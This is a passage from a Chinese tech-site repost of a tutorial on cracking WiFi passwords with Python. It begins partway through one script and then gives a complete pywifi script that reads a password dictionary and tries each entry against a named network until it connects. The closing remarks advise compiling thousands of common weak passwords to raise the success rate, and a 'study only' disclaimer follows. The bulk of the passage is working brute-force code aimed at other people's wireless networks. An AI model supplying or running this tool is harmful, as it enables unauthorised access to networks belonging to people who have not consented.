加入收藏 | 设为首页 | 会员中心 | 我要投稿 十堰站长网 (https://www.0719zz.com/)- 混合云存储、网络、视频终端、云计算、媒体处理!
当前位置: 首页 > 编程开发 > Python > 正文

Python破解WIFI密码完整源代码,实测可成功破解

发布时间:2023-02-16 14:22:52 所属栏目:Python 来源:互联网
导读:目录 # 修正记录:2022-12-01 1,先安装Python环境(这个不用多说了吧) 2,安装PyWifi 3,自己手工整理高频弱口令,不建议程序生成的字典,生成的字典成功率实在太低。 4,自己生成字典的算法: 5,破解WIF代码第一种(2022-12-01): 6,破解WIF代码第二种:

              wifi_password_crack(wifi_list[target_num][1])
              print('-' * 38)
              exit_flag = 1
          except Exception as e:
              print(e)
              raise e
  
  
  if __name__ == '__main__':
      main()
  6,破解WIF代码第二种:
  import pywifi
  from pywifi import const
  import time
  import datetime
  # 测试连接,返回链接结果
  def wifiConnect(pwd):
      # 抓取网卡接口
      wifi = pywifi.PyWiFi()
      # 获取第一个无线网卡
      ifaces = wifi.interfaces()[0]
      # 断开所有连接
      ifaces.disconnect()
      time.sleep(1)
      wifistatus = ifaces.status()
      if wifistatus == const.IFACE_disCONNECTED:
          # 创建WiFi连接文件
          profile = pywifi.Profile()
          # 要连接WiFi的名称
          profile.ssid = "TP_LINK_44D0"
          # 网卡的开放状态
          profile.auth = const.AUTH_ALG_OPEN
          # wifi加密算法,一般wifi加密算法为wps
          profile.akm.append(const.AKM_TYPE_WPA2PSK)
          # 加密单元
          profile.cipher = const.CIPHER_TYPE_CCMP
          # 调用密码
          profile.key = pwd
          # 删除所有连接过的wifi文件
          ifaces.remove_all_network_profiles()
          # 设定新的连接文件
          tep_profile = ifaces.add_network_profile(profile)
          ifaces.connect(tep_profile)
          # wifi连接时间
          time.sleep(2)
          if ifaces.status() == const.IFACE_CONNECTED:
              return True
          else:
              return False
      else:
          print("已有wifi连接")
  # 读取密码本
  def readPassword():
      success = False
      print("****************** WIFI破解 ******************")
      # 密码本路径
      path = "pwd.txt"
      # 打开文件
      file = open(path,"r")
      start = datetime.datetime.Now()
      while True:
          try:
              pwd = file.readline()
              # 去除密码的末尾换行符
              pwd = pwd.strip('n')
              bool = wifiConnect(pwd)
              if bool:
                  print("[*] 密码已破解:",pwd)
                  print("[*] WiFi已自动连接!!!")
                  success = True
                  break
              else:
                  # 跳出当前循环,进行下一次循环
                  print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("TP_LINK_44D0",pwd))
          except:
              continue
      end = datetime.datetime.Now()
      if(success):
          print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
      else:
          print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
      exit(0)
  if __name__=="__main__":
      readPassword()
  7,执行破解成功效果截图(成功连接):
 
 
  8,总结:
     实话告诉你,现在WPA2 WIF密码破解成功的概率基本为0,不要妄想可以通过一段脚本就独步天下。哈哈,那是不可能的。WPA2的加密方式决定了密码是基本不可能被破解的。但是。不可能被破解,不代表不能被尝试验证。尝试是需要代价的,一次密码尝试至少需要1.5秒时间。所以。如果想用跑字典方式来破解周边WIFI。我认为只需要手工整理1000-10000个左右>=8的全网高频弱口令密码即可。跑起来也快。成不成就这几下子。据有关组织统计。10000个高频密码基本可以涵盖全网60%的密码。真有这么高的概率。信不信由你。
 
  9,温馨提示。
  代码仅供学习用途。勿用于非法用途!
 
 

(编辑:十堰站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读